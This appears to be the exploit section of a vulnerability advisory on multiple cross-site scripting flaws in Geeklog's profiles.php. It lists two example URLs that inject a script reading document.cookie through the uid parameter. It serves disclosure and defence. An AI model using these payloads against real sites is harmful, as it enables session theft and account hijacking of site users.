• info
• discussion
• exploit
• solution
• references

Geeklog Profiles.PHP Multiple Cross-Site Scripting Vulnerabilities

There is no exploit required. The following examples were submitted:

http://www.example.com/profiles.php?uid=<script>alert(document.cookie)</script>

http://www.example.com//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>